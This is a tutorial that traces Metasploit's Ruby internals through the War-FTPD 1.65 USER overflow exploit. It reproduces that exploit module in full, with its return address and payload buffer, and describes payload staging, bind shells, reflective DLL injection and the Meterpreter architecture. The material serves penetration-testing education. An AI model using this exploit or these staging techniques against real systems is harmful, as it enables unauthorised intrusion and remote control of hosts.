Metasploit - The Exploit Learning Tree
1 Document Control

1.1 Document Block

<table>
<thead>
<tr>
<th>Document Name</th>
<th>Metasploit-Exploit Learning Tree</th>
</tr>
</thead>
<tbody>
<tr>
<td>Author</td>
<td>Mohan Santokhi</td>
</tr>
<tr>
<td>Email</td>
<td><a href="mailto:metaexploit@btinternet.com">metaexploit@btinternet.com</a></td>
</tr>
<tr>
<td>Version</td>
<td>0.2</td>
</tr>
</tbody>
</table>

1.2 Change History

<table>
<thead>
<tr>
<th>Version</th>
<th>Date</th>
<th>Revisions</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.1</td>
<td>10/06/2013</td>
<td>Initial Draft</td>
</tr>
<tr>
<td>0.2</td>
<td>24/08/2013</td>
<td>Reviewed</td>
</tr>
</tbody>
</table>

1.3 References

<table>
<thead>
<tr>
<th>Reference</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>/documentation/developers_guide.pdf</td>
</tr>
<tr>
<td>2</td>
<td><a href="http://dev.metasploit.com/documents/meterpreter.pdf">http://dev.metasploit.com/documents/meterpreter.pdf</a></td>
</tr>
<tr>
<td>4</td>
<td><a href="http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf">www.nologin.org/Downloads/Papers/remote-library-injection.pdf</a></td>
</tr>
<tr>
<td>5</td>
<td><a href="http://www.nologin.org/Downloads/Papers/win32-shellcode.pdf">www.nologin.org/Downloads/Papers/win32-shellcode.pdf</a></td>
</tr>
<tr>
<td>6</td>
<td><a href="http://www.offensive-security.com/metasploit-unleashed/Main_Page">http://www.offensive-security.com/metasploit-unleashed/Main_Page</a></td>
</tr>
<tr>
<td>7</td>
<td><a href="http://www.securitytube.net/groups?operation=view&amp;groupId=10">http://www.securitytube.net/groups?operation=view&amp;groupId=10</a></td>
</tr>
</tbody>
</table>
# Table of Contents

1. Document Control .................................................................................................................. 2
   1.1. Document Block .............................................................................................................. 2
   1.2. Change History ............................................................................................................... 2
   1.3. References ....................................................................................................................... 2

2. Table of Contents .................................................................................................................... 3

3. Introduction ............................................................................................................................. 4

4. Setup ....................................................................................................................................... 5
   4.1. Getting started ................................................................................................................ 5
   4.2. Install Missing Gems ..................................................................................................... 7
   4.3. Test the environment ..................................................................................................... 8

5. Exploit Metamodel ................................................................................................................ 9

6. Vulnerable Service ................................................................................................................ 11

7. msfconsole Initialisation Phase ............................................................................................ 14

8. Use command ........................................................................................................................ 16

9. Set command ........................................................................................................................ 18

10. Exploit command .................................................................................................................. 19
   10.1. Create Payload Objects ............................................................................................. 21
   10.2. Generate Encoded Payload ....................................................................................... 24
   10.3. Start handler ............................................................................................................... 24
   10.4. Exploit The Target ..................................................................................................... 25
   10.5. Establish Session ........................................................................................................ 26
   10.6. Interact With Target ................................................................................................... 26

11. Meterpreter ........................................................................................................................... 27
   11.1. Meterpreter payloads ................................................................................................. 28
   11.2. Client components ....................................................................................................... 30
   11.2.1. UI components ........................................................................................................ 30
   11.2.2. Command proxy components ............................................................................... 33
   11.3. Meterpreter Protocol ............................................................................................... 35
   11.3.1. Client side protocol API ........................................................................................ 35
   11.3.2. Server side protocol API ........................................................................................ 37
   11.4. Server components ..................................................................................................... 38
   11.5. Server extensions ......................................................................................................... 41

12. Writing Meterpreter Extensions ........................................................................................... 43
   12.1. Design commands, requests and responses ................................................................. 43
   12.2. Implement skeleton extension ..................................................................................... 45
   12.3. Implement command dispatcher class ......................................................................... 47
   12.4. Implement command proxy class ............................................................................... 47

13. Railgun ................................................................................................................................... 48
   13.1. Meterpreter scripts ..................................................................................................... 52
3 Introduction

Most of us who have used Metasploit find it an amazing tool for doing a variety of tasks which we perform during the pen-test activities. However, there is another way to use the tool.

The purpose of this document is not to show how to use Metasploit tool there are enormous amount of sources available to do that but to show you how to look deeper into the code and try to decipher how the various classes and modules hang together to produce the various functions we love to use. In doing so we will learn how the exploit framework could be structured, how the interaction between the attacker and the exploited vulnerability could be achieved and how the user can extend the functionality of Metasploit.

Seeing how the various components of Metasploit are connected together will enable us to develop our own targeted exploits.

We will start with the Setup section which describes the tools required to follow the analysis of Metasploits architecture. Before digging deeper into the code we will discuss the exploit metamodel which provides the context for rest of the document. For the analysis part we start with investigation of msfconsole initialisation then proceed to analyse the use, set and the exploit commands. The final section is on Meterpreter component architecture and we close with discussion on Railgun.

Only prerequisite required is some programming skills and knowledge of object orientated design would be a major benefit. Ruby skill aren’t essential, actually the document could be used to learn some of the interesting aspects of Ruby.
4 Setup

To explore the Metasploit code we need to install:

- Ruby interpreter
- Ruby IDE with debugging facilities
- Metasploit source code
- Platform for creating virtual machines
- Vulnerable piece of software that could be installed on the virtual machine and for which Metasploit exploit already exists so that vulnerability could be exploited.

The environment used consisted of Mac running OS X Mountain Lion 10.8, RubyMine 4.5 IDE and VM Ware Fusion. The War-FTPD software was selected as the vulnerable remote service.

4.1 Getting started

Make sure Ruby interpreter is downloaded and installed on your host machine.

There are a number of commercial and open sources Ruby Integrated Development Environments (IDEs) available for debugging.

Select an IDE that support Ruby visual debugging to step through code and inspect variables. The basic elements of Ruby IDE debugger should include:

- Syntax aware (highlighting, warnings, etc.)
- Set breakpoints to pause code
- Inspect variables
- Capture output
- Step into or over functions

Rubymine provides all these functions and a free 30-day trial version is available from [http://www.jetbrains.com/ruby/](http://www.jetbrains.com/ruby/)

Check out Metasploit code from github. I made a directory called msf and checked it out there:

```
git clone https://github.com/rapid7/metasploit-framework.git msf
```
To follow the examples, you will also need to install a copy of Windows XP-SP2 on a virtualisation platform. After you have completed the installation, log in as administrator, open the Control Panel, switch to classic view, and choose Windows Firewall. Select Off and click OK.

The War-FTPD is an FTP server and can be downloaded from [www.warftp.org/files/1.6_Series/ward165.exe](http://www.warftp.org/files/1.6_Series/ward165.exe) once you have downloaded the application, run it to extract the setup file, and then run this setup file to install the application on the XP virtual machine.

To open Metasploit in Rubymine IDE choose Open Directory or go to File \ Open Directory... in the main menu. Find the folder that contains your project source code, select it and open:
4.2 Install Missing Gems

Start Rubymine and select menu item Run and click ‘msfconsole’. Install the missing Gem reported by the IDE. This process must be repeated until all of the required Gems are installed.

To install Gems go to Settings – Ruby SDK and Gems page. The Install Gems.. and Update Gems .. buttons will forward you list of all gems available under the specified repositories where you can search for a gem to install or update.

When all of the gems have been installed start Rubymine and select menu item Run and click ‘msfconsole’. If all goes well the console tab will show the msfconsole prompt as shown in figure 3.
4.3 Test the environment

Start the WarFTP service; you should be greeted with the WarFTP start screen as shown in figure 4. Ensure that IP address and Port are correct for your environment and then click the start button (lighting rod).

Next, start Rubymine and select menu item Run and click ‘msfconsole’ and then execute the WarFTP exploit as shown below. If all goes well you should be greeted with cmd prompt.

Figure 4 Start War-FTPD Server

Figure 5 cmd prompt
5 Exploit Metammodel

To make our life bit easier in deciphering the Metasploit code we will develop few concepts that would help us in our understanding of the code. We will do this with an aid of an exploit metamodel. Before looking into the metamodel let’s agree on some definitions:

Vulnerability: A weakness in system security procedures, system design, implementation, internal controls, and so on that could be exploited to violate.

Exploit: To exploit means to take advantage of a security weakness in order to compromise the system, e.g., to gain control of system. An exploit also refers to the portion of code, data, or sequence of commands used to conduct the attack.

Payload: A payload is a piece of code that exploit wants the target system to execute when the vulnerability is exploited. For example, a reverse shell is a payload that creates a connection from the target machine back to the attacker, whereas a bind shell is a payload that “binds” a command prompt to a listening port on the target machine, which the attacker can than connect.

![Figure 6 Exploit Metamodel](image)

As shown in the metamodel the exploit concept can be broken down into number of components. The first thing the exploit needs to do is to make a connection to the vulnerability. Once the connection is made the payload data is delivered to the vulnerable code. The payload exploits the vulnerability and creates a shell type component. Depending on the type of payload delivered, the shell component may connect back to the handler which is created before the payload is delivered or the shell component waits for connection from the handler. Once the connection is established between the handler and the shell the attacker can send commands to the shell to extract information from the target machine or extend the functionality of the shell by delivering code to the shell.

To provide the flexibility of delivering different types of shell payload the exploit component makes use of the generic interface provided by the payload component. The different implementations of the payload interface provide the alternative shell payloads which could be delivered to the vulnerability.
Discovering vulnerabilities and developing exploits is a complex task requiring different mindset and motivation. Although, fuzzing tools exist in the Metasploit framework to discover vulnerabilities the majority of the time the framework will be used to exploit known vulnerabilities for which Metasploit exploit exists.

Vulnerabilities don’t need to be within the network and since networks are becoming more secure the untrained users and administrators etc, become the vulnerable component within the target environment. The metamodel is still applicable in this situation. Once the vulnerable users have been identified via social engineering attacks, exploit could be delivered via phishing attack or delivered in person (recruited insider)

All of the metamodel components should be viewed as Facades (design pattern). Let’s take the connect component for example, for generic exploit framework like Metasploit, API calls are provided to make connection with virtually all of the well known services on popular OS. The connection classes can be found in the /lib/msf/core/exploit directory. In Ruby speak they are referred to as mixins. These mixins are meant to be included in exploits that need them. More than one mixin can be include in a single exploit.

Payload components provide the exploit framework with code that can be executed after an exploit succeeds. For example, reverse shell is a payload that creates a connection from the target machine back to the attacker, whereas a bind shell is a payload that binds a connection to a listening port on the target machine.

The Handler components are responsible for handling the attackers’ half of establishing a connection that is created by the payload being transmitted via an exploit. Although handlers are not payloads, but are very closely related and for implementation reasons they form part of the payload class hierarchy as we will see later (Metasploit framework makes heavy use of implementation inheritance with good reasons).

To obtain more elaborate control of the target network we need a payload that can spawn server type components on the target machine and whose capability could be extended as required. To achieve such a functionality we also need Protocol and attacker side Command and Control components. Examples of all of these components are available in the Metasploit framework as we will see later when we discuss the meterpreter architecture.

The UI Façade components provide the interfaces which allow the attacker to control how the various payloads and handlers get attached to the Exploit component before the exploit is launched. The UI Façade components usually include controllers, views, commands, command processors, proxies and managers etc.

The Datastore components provide interfaces which allow the attacker to store the configurations details of an attack.
6 Vulnerable Service

The vulnerable service we are going use to explore the internals of Metasploit is the War-FTPD FTP server.

The metasploit exploit for the warftpd can found in the `/modules/exploits/windows/ftp/warftpd_165_user.rb` file.

```ruby
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking
  include Msf::Exploit::Remote::Ftp
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'War-FTPD 1.65 Username Overflow',
      'Description' => %q{This module exploits a buffer overflow found in the USER command of War-FTPD 1.65.},
      'Author' => 'Fairuzan Roslan <riaf [@] mysec.org>',
      'License' => BSD_LICENSE,
      'References' => [
        ['CVE', '1999-0256'],
        ..
      ],
      'DefaultOptions' => {
        'EXITFUNC' => 'process'
      },
      'Payload' => {
        'Space' => 424,
        'BadChars' => "\x00\x0a\x0d\x40",
        'StackAdjustment' => -3500,
        'Compat' => {
          'ConnectionType' => "-find"
        }
      },
      'Platform' => 'win',
      'Targets' => [
        # Target 0...
        # Target 2
        [
          'Windows XP SP2 English',
          {
            'Ret' => 0x71ab9372 # push esp, ret
          }
        ],
        'DisclosureDate' => 'Mar 19 1998')
    end
    def exploit
      connect
      print_status("Trying target #{target.name}...")
      buf = make_nops(600) + payload.encoded
      buf[485, 4] = [target.ret].pack('V')
      send_cmd( ['USER', buf], false )
      handler
      disconnect
    end
  end
end
```
The class diagram for the `warftpd_165_user` exploit is shown in figure 7.

![Figure 7 Warftpd class diagram](image)

The exploit includes the `msf/core` module so that it has access to all Metasploit Framework code. Next, the exploit extends the `Msf::Exploit::Remote` class to create a new Metasploit3 class. By extending the class, the exploit inherits functions to deal with the various exploit activities. Next, the exploit includes the module code from `Msf::Exploit::Remote::Ftp` in order to include protocol functions such as `connect`, and options such as `RHOST` and `RPORT`.

In the initialization method, the super method will pass the output from the `update_info` method to the underlying lasses to ensure that the setup of exploit is correct. The `update_info` method updates the module’s default information with information that is specific to the exploit.

The exploit method is what runs when we type exploit in Metasploit after we have set up our variables. We should have set up all the variables we need before we go into this method, so we shouldn’t have to accept any other input to the module until the vulnerability is exploited and we have a connection to the target.

The exploit begins by using the `connect` method to connect to the target host. The exploit uses a Metasploit module method called `print_status` to print status information to wherever is receiving output, to print a connect message. Next, the exploit builds the exploit buffer. Finally the exploit sends the payload buffer by calling the `send_cmd` method to send a `USER` command. The `false` option indicates that we don’t care what data is returned.

The handler method handles the connection from the target machine, and the disconnect method disconnects us from the vulnerable service.

In the rest of this document we will dig deeper into the code and see how the various methods are called. Before doing that browse the directories `/module/exploits` and `/lib/msf/core/exploit`. 
The directory /module/exploits/ contains the exploits which are organised in OS categories. For each OS category the exploits are further organised in services types and each service type directory contains the actual exploit code.

The directory /lib/msf/core/exploit to a large extent contains connection code used by the exploits to connect to the vulnerable service. These so called mixins are meant to be included in exploits that need them. More than one mixin can be included in a single exploit. For example the FTP mixin Msf::Exploit::Remote::Ftp provides a set of methods that are useful when interacting with an FTP server, such as logging into the server and sending some of the basic commands. This mixin automatically registers the RHOST, RPORT, USER, and PASS options.

The Msf::Exploit::Remote::Tcp TCP mixin implements a basic TCP client interface that can be used in a generic fashion to connect or otherwise communicate with applications that speak over TCP. To explain all of this mixin stuff we need a Ruby detour.

A module can’t have instances, because a module isn’t a class. However, you can include a module within a class definition. When this happens, all the module’s instance methods are suddenly available as methods in the class as well. They get mixed in. In fact, mixed-in modules effectively behave as super classes.

The Ruby include statement does not simply copy the module’s instance methods into the class. Instead, it makes a reference from class to the included module. If multiple classes include that module, they’ll all point to the same thing. If you change the definition of a method within a module, even while your program is running, all classes that include that module will exhibit the new behaviour. We’re speaking only of methods here. Instance variables are always per object.

Mixins give you a powerful way of adding functionality to classes. However, their true power comes out when the code in the mixin starts to interact with code in the class that uses it.

One of the other questions about mixins is, how is method lookup handled? In particular, what happens if methods with the same name are defined in a class, in that class’s parent class, and in a mixin included into the class?

The answer is that Ruby looks first in the immediate class of an object, then in the mixins included into that class, and then in superclasses and their mixins. If a class has multiple modules mixed in, the last one included is searched first. That should explain the Warftpdp class diagram shown in figure 7 also check out the initialise call trace shown in figure 11.
7 msfconsole Initialisation Phase

The initialisation phase occurs between executing the `msfconsole` command and receiving the `msf>` prompt. During this phase all the critical subsystems of the Metasploit framework are initialised.

![Figure 8 Exploit Metamodel](image)

The `Msf::Ui::Console::Driver` class provides the `msfconsole` interface and is derived from an abstract `Msf::Ui::Driver` class. The `initialize` method of `Msf::Ui::Console::Driver` class controls the initialisation phase of the `msfconsole` interface. Once the class has been instantiated after completing the `initialize` method the `run` method is called. The `run` method is actually implemented in the super class `Rex::Ui::Text::Shell`. The `run` method provides the mechanism through which user commands are executed. When the command is to be executed the `run` method calls the `run_single` method of `Rex::Ui::Text::DispatcherShell` class which in turn sends the command to the appropriate registered command dispatcher to be processed. The class diagram is shown in figure 8. In rest of this section we will dig deeper into the code by stepping through the main parts of the initialisation phase and see how the various classes interact with each other.

We will analyse the initialisation phase by first setting a break point at:

```
begin
  Msf::Ui::Console::Driver.new(
    Msf::Ui::Console::Driver::DefaultPrompt,
    Msf::Ui::Console::Driver::DefaultPromptChar,
    options
  ), run
rescue Interrupt
end
```

To start the analysis select the Menu item `Run.Debug ‘msfconsole’` when the program halts at the breakpoint click the `stepinto` button. The program enters the `initialize` method of `Msf::Ui::Console::Driver` class stepover few of the line using the `stepover` button until you come to the line `self.framework = opts['Fr.']*Msf::Simple::Framework.create(opts)` now step into this line and you will end up in the `self.create` method of
Msf::Simple::Framework class and now immediately step into framework=Msf::Framework.new(opts) and you will end up in the initialise method of Msf::Framework where the framework initialises all the critical subsystem of framework core, such as module management, session management, thread management, Data store management and so on. For now, stepover next few lines until the next super() method call.

Now step in to the super() method and you will end up in the initialise method of Rex::Ui::Text::DispatcherShell step into the next super() method and you will end up in the initialise method of Rex::Ui::Text::Shell class. Now step over all of the lines until you end up on the line enstack_dispathcer( CommandDispatcher::Core) which can be found in the initialise method of Msf::Ui::Console::Driver. Step into this call which is declared in the Rex::Ui::Text::DispatcherShell class and immediately step into the next line and you will end up in the initialise method of Msf::Ui::Console::CommandDispatcher::Core class and step into each of the super calls until you arrive in the initialise method of Rex::Ui::Text::DispatcherShell::CommandDispatcher declared in /lib/rex/ui/text/dispatcher_shell.rb file. The Rex::Ui::Text::DispatcherShell::CommandDispatcher is the super class of all of the command dispatcher classes and command dispatcher base classes provide methods which are called when the user enters the commands. Fig 9 shows the call trace for the Msf::Ui::Console::CommandDispatcher::Core class initialisation.

Figure 9 Core command dispatcher initialise trace

Figure 10 shows the command dispatcher class hierarchy
8 Use command

To see how the exploit classes are instantiated we could set a break point at `cmd_use` method declared in `Msf::Ui::Console::CommandDispatcher::Core` class, but we haven’t seen how the commands get dispatched so we will set a break point at `run_command` method defined in the `Rex::Ui::Text::DispatcherShell` module. The `run_command` method is called from the `run_single` method which iterates through the stack of registered command dispatchers. If the command to be executed is found in one of the dispatchers then the associated dispatcher, command and arguments are used to call the `run_command` method. The `run_command` method calls the dispatcher `send` method. The `send` method is a special Ruby method which invokes the dispatcher method identified by the `'cmd_'`+symbol in our case `cmd_use`.

```ruby
def run_command(dispatcher, method, arguments)
    self.busy = true
    if(blocked_command?(method))
        print_error("The #{method} command has been disabled.")
    else
        dispatcher.send('cmd_' + method, *arguments)
    end
    self.busy = false
end
```

To see how the `warftpd_165_user` exploit is instantiated, first remove all the break points and set a break point at the `run_command` method. Now select the Menu item `Run.Debug ‘msfconsole’`. At the `msf >` prompt, type `use exploit/windows/ftp/warftpd_165_user`.

On entering return the program halts on the break point. Step over few lines and then step into the `dispatcher.send(..)` method and if by magic you are in the `cmd_use` method defined in the `Msf::Ui::Console::CommandDispatcher::Core` file.

Now step into `if ((mod = framework.modules.create(mod_name)) == nil)` and you will end up in the `create` method declared in the `Msf::ModuleManager` class. This method creates the exploit instance based on the supplied reference name in this case `windows/ftp/warftpd_165_user`. To do this the method first checks to see if the module has a module type prefix. In this case the module type is ‘exploit’ and from that the appropriate module set is retrieved and the exploit instance is created by calling the `create` method declared in the `Msf::ModuleSet` class.

Now step into `module_instance = module_set.create(module_reference_name)` and you will end up in the `create` method declared in the `Msf::ModuleSet` class. Module sets are implemented in the form of a hash that associates the reference names of modules with their underlying classes. The purpose of a module set is to act as a localised factory for each different module type.

Using the module reference name the class of the module is fetched from the hash table. To see how the instance of the module is created step into `instance = klass.new`. In our case you will end up in the `initialize` method declared in the `modules/exploits/windows/ftp/warftpd_165_user.rb` file. Carefully visit all of the `initialize` methods by stepping into the `super calls`. The stack trace of calls are shown in the Figure 11.

In conjunction with `warftpd` exploit and the class hierarchy shown in Figure 7 checkout the order the `initialize` methods are called.
After creating the exploit instance the `cmd_use` method proceeds to update the command dispatcher stack with the `Msf::Ui::Console::CommandDispatcher::Exploit` class which provides the exploit commands.
9 Set command

To see how the parameters required to exploit the vulnerability are initialised set a break point on the `cmd_set` method declared in the `msf::UI::ConsoleDispatcher::Core` class. Assuming that `use` command has been already executed type `set RHOST 172.16.134.130` at the `msf` prompt and hit return.

The program halts on the break point. Stepover the lines of code to see how the entered parameters are stored on the active module datastore. After retrieving the datastore from the active module the name and the value of the parameter are extracted from the argument string before storing the new parameter into the datastore.

Repeat the steps for the PAYLOAD and TARGET parameters. Figure 12 shows the state of the datastore after executing the set command for RHOST, PAYLOAD and TARGET. The PAYLOAD is set to `windows/shell/bind_tcp` and TRAGET to 2.
10 Exploit command

The exploit command needs to perform a number of tasks before the attacker can interact with the exploited target. The tasks are:

- Create a payload object
- Generate encoded payload
- Start a handler to handle the attackers side of the connection
- Exploit the target
- Establish a session
- Interact with the target

The main classes used to control the exploitation phase are shown in Figure 13.

When the **exploit** command is issued the **cmd_exploit** method declared in the

`Msf::UI::Console::CommandDispatcher::Exploit` class is called. The **cmd_exploit** method in turn calls the **self.exploit_simple** method declared in `Msf::Simple::Exploit mixin`.

The `Msf::Simple::Exploit mixin` extends exploit module instance with a method called `exploit_simple`. This method is used to control the exploitation by creating an instance of an `Msf::ExploitDriver` class and doing all the necessary initialisation and configuration of the module before issuing the call to the exploit driver's **run** method. If the method succeeds, the return value will be the session instance or otherwise, an exception will be thrown or a nil value will be returned.

The `Msf::ExploitDriver` class controls the task of running an exploit module in terms of coordinating the validation of required module options, the validation of target selection, the generation of the encoded version of the supplied payload, and the execution of exploit and payload setup and cleanup.

When the **run** method is called, the first step is to validate the options required by the payload and exploit that have been selected. This is done by calling the **validate** method. After validation has completed, the encoded version of the payload is generated by calling **generate_payload** on the exploit instance. The next step is to setup the handlers by calling **setup** on the exploit instance followed by a call to the exploit method to launch the exploit. Once exploitation has completed, the exploit driver calls the stop handler method on the payload module instance and then calls the **cleanup** method on the exploit module instance.
The exploit driver `run` method returns the session object to calling method `exploit_simple` which in turn returns it to the `cmd_exploit` method where the session object is used to issue a session command. The `cmd_session` method declared in the `Msf::UI::Console::CommandDispatcher::core` module now takes over and the attacker can interact with the exploited target.

To see these steps in action set a break point on `cmd_exploit` method and use the stepover or stepinto buttons. Figure 14 shows the call trace for creating the `Msf::ExploitDriver` object.

In the rest of this section we will explore each of these tasks in more details.

![Figure 14 Exploit driver initialise trace](image-url)
10.1 Create Payload Objects

The Payload class hierarchy is one of the more complex parts of Metasploit, which isn’t that surprising considering the number of tasks it has to perform.

There are three distinct payload types. The first type of payload that can be implemented is referred to as a single payload. Single payload are self-contained that do not undergo a staging process. The second type of payload is referred to as a stager. Stages are responsible for connecting back to the attacker in some fashion and processing a second stage payload. The third type of payload is referred to as stage and it is what’s executed by a stager payload.

Figure 15 shows the payload class hierarchy for the windows/shell/bind_tcp payload.

![Figure 15 windows/shell/bind_tcp payload class hierarchy](image)

Payloads are defined in `modules/payloads/{singles,stages,stagers}/<platform>`. When the framework starts up, stages are combined with stagers to create a complete payload that you can use in exploits. Then, handlers are paired with payloads so the framework will know how to create sessions with a given communications mechanism.

Payloads are given reference names that indicate all the pieces, like so:

- **Staged payloads**: `<platform>/[arch]/<stage>/<stager>`
- **Single payloads**: `<platform>/[arch]/<single>`

So for the windows/shell/bind_tcp payload we have the stage `modules/payloads/stages/windows/shell/bind_tcp.rb` and the stager `modules/payloads/stagers/windows/bind_tcp.rb` and the stager is controlled by its corresponding script in the `/lib/msf/core/handler/bind_tcp.rb`
Figure 16 shows how the payload object is created.

The `Msf::Module` class provides the common interface that is used to interact with payloads at the most basic level.

/lib/msf/core/module.rb

The `Msf::Payload` class represents the base class for a logical payload and provides methods that are common to all payloads as well as providing some helpful attributes.

/lib/msf/core/payload.rb

The `Msf::Handler` module acts as a base for all handlers and is mixed into dynamically generated payloads to handle monitoring for connections.

/lib/msf/core/handler.rb

The `Msf::Handler::BindTcp` class will attempt to establish a connection to a target machine on a given port (LPORT). If a connection is established, a call is made into handle connection passing along the socket associated with the connection.

/lib/msf/core/handler/bind_tcp.rb

The `Msf::Payload::windows` class provides methods for windows based payloads.

/lib/msf/core/payload/windows.rb

The `Msf::Payload::Stager` module provides interface to be used by the stagers.

/lib/msf/core/payload/stager.rb

The Metasploit3 class provides the stager part of the payload

/modules/payloads/stagers/windows/bind_tcp.rb
The Metasploit3 class provides the stage part of the payload

/modules/payloads/stages/windows/shell.rb

Prior to initiating an exploit, the exploit instances setup method will call into the payload handler’s setup handler and start_handler methods that will lead to the initialisation of the handler in preparation for a payload connection. When a connection arrives, the handler calls the handle_connection method on the payload instance. This method is intended to be overridden as necessary by the payload to do custom tasks. For instance, staged payloads will initiate the transfer of the second stage over the established connection and then call the default implementation which leads to the creation of a session for the connection. When an exploit has finished, the exploit driver will call into the payload handlers stop handler and cleanup handler methods to stop it from listening for future connections.

The following steps describe the sequence of actions that take place just before and after the exploit is run.

1. The start_handler method declared in the Msf::Handler::BindTcp class is called by the exploit instance. This method starts a thread which tries to establish a connection with the stager payload.

2. The exploit method of the exploit instance is called next which connects to the ftp service and then sends the encoded stager with the ftp user command and finally disconnects from the ftp service.

3. The exploit delivered with the ftp user command exploits the vulnerability and the stager payload is executed which then listens for connection from the attacker’s machine.

4. The handler thread started in step 1 establishes a connection with the stager. After establishing the connection another thread is started and a call is made to a handle_connection method declared in the Msf::Payload::Stager class. This method transmits the stage part of the payload with help from the Msf::Payload::Windows class.

5. Having received the stage payload, the stager triggers the stage payload passing its connection details.

6. When the stage has been transmitted the create_session method declared in the Msf::Handler class is called to create a session object (continuation of step 4).

7. After returning from the exploit method called in step 2 the exploit driver calls the wait_for_session method declared in Msf::Handler class to retrieve the session object created in step 6.
10.2 Generate Encoded Payload

The encoded version of the payload is generated by calling `generate_payload` on the exploit module instance. The method generates the encoded version of the supplied payload using the payload requirements specific to this exploit. The encoded instance is returned to the caller.

To generate an encoded payload, an instance of an `Msf::EncodedPayload` class must be created by passing its constructor an instance of a payload as well as an optional hash of requirements that will be used during the generation phase. This can be accomplished by calling the class’ `create` method.

Once an encoded payload instance has been created, the next step is to make a call to the instance’s `generate` method which will return the encoded version of the payload.

Figure 17 Generate encoded payload call trace

10.3 Start handler

Prior to initiating an exploit, the exploit instances setup method will call into the payload handler’s `setup handler` and `start handler` methods that will lead to the initialization of the handler in preparation for a payload connection. The `start_handler` method declared in the `Msf::Handler::BindTcp` class is called by the exploit instance. This method starts a thread which tries to establish a connection with the stager payload. After establishing the connection another thread is started and a call is made to a `handle_connection` method declared in the `Msf::Payload::Stager` class. This method transmits the stage part of the payload with help from the `Msf::Payload::Windows` class.

Figure 18 Start handler call trace
10.4 Exploit The Target

Exploit begins by using the `connect` method to connect to our target host. The exploit uses a Metasploit module method called `print_status` to print status information to wherever is receiving output, to print a connect message. Next, the exploit builds the exploit buffer. Finally the exploit sends the payload buffer by calling the `send_cmd` method to send a USER command. The `false` option indicates that we don’t care what data is returned.

The handler method handles the connection from the shell running on the target machine, and the disconnect method disconnects us from the vulnerable service.

Send USER command with encoded payload.

Figure 19 Connect to Warftp service call trace

Figure 20/21 Send USER command and start payload handler call trace
10.5 Establish Session

After returning from the exploit method the exploit driver method job_run_proc waits for a session to be created by calling the wait_for_session on the payload module instance. The wait_for_session method declared in the Msf::Handler class waits for a session to be created as the result of a handler connection coming in (11.3). The return value is a session object instance on success.

10.6 Interact With Target

The exploit driver run method returns the session object to calling method exploit_simple which in turn returns it to the cmd_exploit method where the session object is used to issue a session command. The cmd_session method declared in the Msf::Ui::Console::CommandDispatcher::Core module now takes over and the attacker can interact with the exploited target.
11 Meterpreter

The type of payload we discussed in the previous section give us a command shell which can provide some useful commands, but it has number of limitations. These include:

- The creation of a new process – which can trigger the intrusion detector
- Limitation on the number of commands available
- Can’t work in a chroot environments

As well as overcoming these limitations Meterpreter also has the facility to allow the attacker to extend its functionality which can provide the attacker with arsenal of weapons.

Meterpreter can be divided into number of components, these include: Meterpreter payloads, Client side components, Server side components, Server extensions and the Protocol connecting the client side and the server side.

![Figure 25 Meterpreter Components](image)

The payload components are responsible for delivering the stager, stage and the meterpreter server dll. After establishing a session with the server the client components take over which then retrieve commands from the attacker, packages the commands into a request, sends the request to the server and receives the response which is then displayed to the attacker.

When the server receives a request a search is made against the registered commands to see which extension could handle the request. The request is then passed to the appropriate registered command handler which retrieves the request parameters and generates a response accordingly. The response is then returned to the client.

In rest of this section we will drill down into each of the components and see how they all hang together.
11.1 Meterpreter payloads

Meterpreter payloads are staged. The stage part of the payload can be found in 
/modules/payload/stages/windows/meterpreter.rb directory while for the stager, we have 
choice of bind_tcp or reverse_tcp. For our analysis we will choose bind_tcp stager.

So for the windows/meterpreter/bind_tcp payload we have the stage 
/modules/payloads/stages/windows/meterpreter.rb and the stager 
/modules/payloads/stagers/windows/bind_tcp.rb and the stager is controlled by its 
corresponding script in the /lib/msf/core/handler/bind_tcp.rb.

The `Msf::Module` class, `Msf::Payload` class, the `Msf::Handler` class, the 
`Msf::Handler::BindTcp` class, the `Msf::Payload::windows` class, the `Msf::Payload::Stager` 
class and the stager class Metasploit3 are the same classes encountered when discussing the 
windows/shell/bind_tcp payload in section 10.1.
The **Msf::payload::Windows::ReflectiveDllinject** class defines the the stage_payload method which reads the dll file from library path specified in the base class and appends the dll bootstrap code and returns with modified dll.

```
/lib/msf/core/payload/windows/reflectivedllinject.rb.rb
```

The **Msf::Session::MeterpreterOptions** class overrides the on_session method. Once a session is created the stdapi extension is automatically loaded.

```
/lib/msf/base/sessions/meterpreter_options.rb
```

The **Metasploit3** class provides the stage part of the payload by providing the library_path method.

```
/modules/payloads/stages/windows/meterpreter.rb
```

The following steps describe the sequence of actions that take place just before and after the exploit is run.

1. The `start_handler` method declared in the **Msf::Handler::BindTcp** class is called by the exploit instance. This method starts a thread which tries to establish a connection with the stager payload.

2. The `exploit` method of the exploit instance is called next which connects to the ftp service and then sends the encoded stager with the ftp user command and finally disconnects from the ftp service.

3. The exploit delivered with the ftp user command exploits the vulnerability and the stager payload is executed which then listens for connection from the attacker’s machine.

4. The handler thread started in step 1 establishes a connection with the stager. After establishing the connection another thread is started and a call is made to a `handle_connection` method declared in the **Msf::Payload::Stager** class. This method generates the stage by calling the stage_payload method declared in the **Msf::Payload::Windows::ReflectiveDllInject** class. The stage_payload method reads the dll file from library path specified in the base class and appends the dll bootstrap code and returns with modified dll. The dll is then encoded and transmitted with help from the **Msf::Payload::Windows** class which provides the intermediate stage handling method.

5. Having received the stage payload, the stager triggers the stage payload passing its connection details.

6. When the stage has been transmitted the `create_session` method declared in the **Msf::Handler** class is called to create a session object.

7. After returning from the `exploit` method called in step 2 the exploit driver calls the `wait_for_session` method declared in **Msf::Handler** class to retrieve the session object created in step 6.
11.2 Client components

There are two types of client components, UI components and command proxy components. The UI components provide the user interface while the command proxy components are responsible for generating the request from the user command, sending the request to the meterpreter server and then processing the response for the UI components.

11.2.1 UI components

The meterpreter UI components class hierarchy is shown in figure 28.

![Figure 28 Meterpreter UI class hierarchy](image)

After exploiting the vulnerability, the returned session object is used to call the `cmd_session` method defined in the `Msf::Ui::Console::CommandDispatcher::Core` class. The `Rex::Ui::Text::DispatcherShell` class, `Rex::Post::Meterpreter::UI::Console` class and the `Rex::Ui::Text::Shell` class control the user interaction.

